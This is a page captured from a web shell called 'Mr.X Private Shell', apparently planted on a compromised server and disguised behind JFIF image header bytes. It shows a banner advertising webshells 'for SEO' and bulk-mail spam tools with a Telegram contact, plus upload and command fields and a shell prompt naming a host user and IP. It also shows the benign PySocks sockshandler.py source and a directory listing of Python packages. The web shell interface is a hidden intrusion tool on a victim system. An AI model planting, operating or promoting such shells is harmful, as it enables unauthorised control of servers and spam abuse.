����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

dccreditrepairto@216.73.216.185: ~ $
#!/usr/bin/env python
"""
SocksiPy + urllib2 handler

version: 0.3
author: e<e@tr0ll.in>

This module provides a Handler which you can use with urllib2 to allow it to tunnel your connection through a socks.sockssocket socket, with out monkey patching the original socket...
"""
import socket
import ssl

try:
    import urllib2
    import httplib
except ImportError: # Python 3
    import urllib.request as urllib2
    import http.client as httplib

import socks # $ pip install PySocks

def merge_dict(a, b):
    d = a.copy()
    d.update(b)
    return d

def is_ip(s):
    try:
        if ':' in s:
            socket.inet_pton(socket.AF_INET6, s)
        elif '.' in s:
            socket.inet_aton(s)
        else:
            return False
    except:
        return False
    else:
        return True

socks4_no_rdns = set()

class SocksiPyConnection(httplib.HTTPConnection):
    def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs):
        self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password)
        httplib.HTTPConnection.__init__(self, *args, **kwargs)

    def connect(self):
        (proxytype, proxyaddr, proxyport, rdns, username, password) = self.proxyargs
        rdns = rdns and proxyaddr not in socks4_no_rdns
        while True:
            try:
                sock = socks.create_connection(
                    (self.host, self.port), self.timeout, None,
                    proxytype, proxyaddr, proxyport, rdns, username, password,
                    ((socket.IPPROTO_TCP, socket.TCP_NODELAY, 1),))
                break
            except socks.SOCKS4Error as e:
                if rdns and "0x5b" in str(e) and not is_ip(self.host):
                    # Maybe a SOCKS4 server that doesn't support remote resolving
                    # Let's try again
                    rdns = False
                    socks4_no_rdns.add(proxyaddr)
                else:
                    raise
        self.sock = sock

class SocksiPyConnectionS(httplib.HTTPSConnection):
    def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs):
        self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password)
        httplib.HTTPSConnection.__init__(self, *args, **kwargs)

    def connect(self):
        SocksiPyConnection.connect(self)
        self.sock = self._context.wrap_socket(self.sock, server_hostname=self.host)
        if not self._context.check_hostname and self._check_hostname:
            try:
                ssl.match_hostname(self.sock.getpeercert(), self.host)
            except Exception:
                self.sock.shutdown(socket.SHUT_RDWR)
                self.sock.close()
                raise

class SocksiPyHandler(urllib2.HTTPHandler, urllib2.HTTPSHandler):
    def __init__(self, *args, **kwargs):
        self.args = args
        self.kw = kwargs
        urllib2.HTTPHandler.__init__(self)

    def http_open(self, req):
        def build(host, port=None, timeout=0, **kwargs):
            kw = merge_dict(self.kw, kwargs)
            conn = SocksiPyConnection(*self.args, host=host, port=port, timeout=timeout, **kw)
            return conn
        return self.do_open(build, req)

    def https_open(self, req):
        def build(host, port=None, timeout=0, **kwargs):
            kw = merge_dict(self.kw, kwargs)
            conn = SocksiPyConnectionS(*self.args, host=host, port=port, timeout=timeout, **kw)
            return conn
        return self.do_open(build, req)

if __name__ == "__main__":
    import sys
    try:
        port = int(sys.argv[1])
    except (ValueError, IndexError):
        port = 9050
    opener = urllib2.build_opener(SocksiPyHandler(socks.PROXY_TYPE_SOCKS5, "localhost", port))
    print("HTTP: " + opener.open("http://httpbin.org/ip").read().decode())
    print("HTTPS: " + opener.open("https://httpbin.org/ip").read().decode())

Filemanager

Name Type Size Permission Actions
Babel-2.9.1-py3.9.egg-info Folder 0755
Jinja2-2.11.3-py3.9.egg-info Folder 0755
PySocks-1.7.1-py3.9.egg-info Folder 0755
__pycache__ Folder 0755
_distutils_hack Folder 0755
ansible Folder 0755
ansible_core-2.14.18-py3.9.egg-info Folder 0755
attr Folder 0755
attrs-20.3.0-py3.9.egg-info Folder 0755
babel Folder 0755
chardet Folder 0755
chardet-4.0.0.dist-info Folder 0755
cloud_init-24.4-py3.9.egg-info Folder 0755
cloudinit Folder 0755
cockpit Folder 0755
cockpit-344.dist-info Folder 0755
dasbus Folder 0755
dasbus-1.5-py3.9.egg-info Folder 0755
dateutil Folder 0755
distro-1.5.0-py3.9.egg-info Folder 0755
dnf Folder 0755
dnf-plugins Folder 0755
dnfpluginscore Folder 0755
dns Folder 0755
dnspython-2.6.1-py3.9.egg-info Folder 0755
file_magic-0.4.0-py3.9.egg-info Folder 0755
firewall Folder 0755
gi Folder 0755
html2text Folder 0755
html2text-2020.1.16-py3.9.egg-info Folder 0755
idna Folder 0755
idna-2.10-py3.9.egg-info Folder 0755
isc Folder 0755
jinja2 Folder 0755
jsonpatch-1.21-py3.9.egg-info Folder 0755
jsonpointer-2.0-py3.9.egg-info Folder 0755
jsonschema Folder 0755
jsonschema-3.2.0-py3.9.egg-info Folder 0755
nftables Folder 0755
nftables-0.1.dist-info Folder 0755
oauthlib Folder 0755
oauthlib-3.1.1-py3.9.egg-info Folder 0755
packaging Folder 0755
packaging-20.9.dist-info Folder 0755
passlib Folder 0755
passlib-1.7.4.dist-info Folder 0755
pexpect Folder 0755
pkg_resources Folder 0755
ply Folder 0755
ply-3.11-py3.9.egg-info Folder 0755
prettytable-0.7.2-py3.9.egg-info Folder 0755
procfs Folder 0755
ptyprocess Folder 0755
pycparser Folder 0755
pycparser-2.20-py3.9.egg-info Folder 0755
pygtkcompat Folder 0755
pyinotify-0.9.6-py3.9.egg-info Folder 0755
pyparsing-2.4.7.dist-info Folder 0755
pyserial-3.4-py3.9.egg-info Folder 0755
python_dateutil-2.9.0.post0.dist-info Folder 0755
python_linux_procfs-0.7.3-py3.9.egg-info Folder 0755
pytz Folder 0755
pytz-2021.1-py3.9.egg-info Folder 0755
pyudev Folder 0755
pyudev-0.22.0-py3.9.egg-info Folder 0755
requests Folder 0755
requests-2.25.1.dist-info Folder 0755
resolvelib Folder 0755
resolvelib-0.5.4-py3.9.egg-info Folder 0755
sepolgen Folder 0755
sepolicy Folder 0755
sepolicy-3.6-py3.9.egg-info Folder 0755
serial Folder 0755
setroubleshoot Folder 0755
setroubleshoot-3.3.33.dist-info Folder 0755
setuptools Folder 0755
setuptools-53.0.0.dist-info Folder 0755
six-1.15.0.dist-info Folder 0755
sos Folder 0755
sos-4.10.2-py3.9.egg-info Folder 0755
tracer Folder 0755
tuned Folder 0755
urllib3 Folder 0755
urllib3-1.26.5-py3.9.egg-info Folder 0755
_version.py File 21 B 0644
configobj-5.0.6-py3.9.egg-info File 2.96 KB 0644
configobj.py File 87.53 KB 0644
distro.py File 42.61 KB 0644
distutils-precedence.pth File 152 B 0644
isc-2.0-py3.9.egg-info File 267 B 0644
jsonpatch.py File 23.9 KB 0644
jsonpointer.py File 9.57 KB 0644
magic.py File 8.73 KB 0644
pexpect-4.8.0-py3.9.egg-info File 2.23 KB 0644
prettytable.py File 52.93 KB 0644
ptyprocess-0.6.0-py3.9.egg-info File 264 B 0644
pyinotify.py File 86.92 KB 0644
pyparsing.py File 266.96 KB 0644
seobject.py File 108.67 KB 0644
six.py File 33.48 KB 0644
socks.py File 30.36 KB 0644
sockshandler.py File 3.87 KB 0644
validate.py File 46.13 KB 0644